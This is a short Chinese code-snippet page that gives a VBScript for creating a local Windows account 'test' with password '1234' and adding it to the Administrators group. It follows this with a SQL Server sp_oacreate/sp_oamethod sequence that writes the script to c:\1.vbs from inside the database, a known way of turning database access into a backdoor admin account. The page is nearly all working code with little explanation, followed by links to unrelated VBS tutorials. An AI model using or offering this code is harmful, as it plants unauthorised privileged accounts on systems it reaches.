vbs加administrator用戶的代碼
更新時(shí)間:2008年08月01日 01:22:05 作者:
使用ADSI的Winnt對(duì)象,Windows2000后面的系統(tǒng)都屬于NT系列
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","test") '建立用戶
od.SetPassword "1234" '設(shè)置密碼
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用戶
oe.add os&"/test"
SQL語(yǔ)句如下,采用sp_oamethod過(guò)程:
declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
相關(guān)文章
VBS教程:語(yǔ)句-While...Wend 語(yǔ)句
VBS教程:語(yǔ)句-While...Wend 語(yǔ)句...2006-11-11
教你編寫Windows的VBScript與Mac的AppleSCript腳本解放雙手
這篇文章主要介紹了教你編寫Windows的VBScript腳本與Mac的AppleSCript腳本來(lái)解放大家的雙手,有需要的朋友可以借鑒參考下,希望能夠有所幫助2022-02-02
用vbs實(shí)現(xiàn)注冊(cè)表開關(guān)的腳本
注冊(cè)表開關(guān)[以下代碼保存為.vbs]2008-06-06
IE瀏覽器增加“復(fù)制圖像地址”的右鍵菜單的vbs代碼
在網(wǎng)絡(luò)上共享照片,常需要復(fù)制上傳到某站點(diǎn)的照片的鏈接地址,部分瀏覽器提供了比較快捷的右鍵菜單來(lái)復(fù)制該地址,如Maxthon、Firefox等2008-12-12
VBS教程:VBscript語(yǔ)句-If...Then...Else 語(yǔ)句
If...Then...Else 語(yǔ)句用于計(jì)算條件是否為 True 或 False,并且根據(jù)計(jì)算結(jié)果指定要運(yùn)行的語(yǔ)句。通常,條件是使用比較運(yùn)算符對(duì)值或變量進(jìn)行比較的表達(dá)式。If...Then...Else 語(yǔ)句可以按照需要進(jìn)行嵌套2006-11-11

